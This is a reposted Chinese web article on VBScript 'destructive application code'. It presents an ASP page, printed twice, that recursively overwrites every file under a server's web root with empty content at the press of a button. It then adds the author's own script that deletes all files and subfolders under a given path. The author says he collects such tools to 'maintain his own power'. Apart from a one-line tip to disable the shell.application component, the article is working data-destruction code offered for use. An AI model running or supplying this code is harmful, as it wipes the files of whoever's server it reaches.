首页 > 编程 > VBScript > 正文

VBS破坏性应用代码

2020-06-26 18:15:41
字体:
来源:转载
供稿:网友
非常具有破坏性,所以如果自己有服务器的,一定要把shell.application组件禁掉
 
'网上看到的,适用与没有禁用shell.application的服务器    
server.scripttimeout = 99999    
If request("submit")<>"" Then   
    Call listfile(server.mappath("./"))    
    response.Write"处理完毕"   
Else   
    response.Write"<form><input type=""submit"" name=""submit"" value=""清空所有文件的内容""></form>"   
End If   

Function listfile(fpath)    
    On Error Resume Next   
    Dim Shell, Folder, s    
    Set Shell = server.CreateObject ("shell.application")    
    Set Folder = Shell.namespace(fpath)    
    Set f = server.CreateObject("adodb.stream")    
    f.Type = 1    
    f.Open   
    For Each s in Folder.Items    
        If s.isfolder Then   
            Call listfile(s.Path)    
        Else   
            f.savetofile s.Path, 2    
        End If   
    Next   
    Set f = Nothing   
    Set Shell = Nothing   
End Function   

'网上看到的,适用与没有禁用shell.application的服务器 
server.scripttimeout = 99999 
If request("submit")<>"" Then 
    Call listfile(server.mappath("./")) 
    response.Write"处理完毕" 
Else 
    response.Write"<form><input type=""submit"" name=""submit"" value=""清空所有文件的内容""></form>" 
End If 

Function listfile(fpath) 
    On Error Resume Next 
    Dim Shell, Folder, s 
    Set Shell = server.CreateObject ("shell.application") 
    Set Folder = Shell.namespace(fpath) 
    Set f = server.CreateObject("adodb.stream") 
    f.Type = 1 
    f.Open 
    For Each s in Folder.Items 
        If s.isfolder Then 
            Call listfile(s.Path) 
        Else 
            f.savetofile s.Path, 2 
        End If 
    Next 
    Set f = Nothing 
    Set Shell = Nothing 
End Function 
以前也看到过这个,感觉没什么用,这么危险的组件服务器一般都禁用了,但今天,我突然觉得有进也得收集或制作一些这样的软件,可以维护自己的权力。具体什么原因我就不说了,我写的一个: 

view plaincopy to clipboardprint? 
'看到文件删文件,看到文件夹删除文件夹    
Function FilesTree(sPath)    
    Set oFso = CreateObject("Scripting.FileSystemObject")    
    Set oFolder = oFso.GetFolder(sPath)    
    Set oSubFolders = oFolder.SubFolders    

    Set oFiles = oFolder.Files    
    For Each oFile In oFiles    
        'WScript.Echo oFile.Path    
        oFile.Delete   
    Next   

    For Each oSubFolder In oSubFolders    
        'WScript.Echo oSubFolder.Path    
        oSubFolder.Delete   
        'FilesTree(oSubFolder.Path)'递归    
    Next   

    Set oFolder = Nothing   
    Set oSubFolders = Nothing   
    Set oFso = Nothing   
End Function   

FilesTree("F:/deltest/deltest") '遍历  
发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表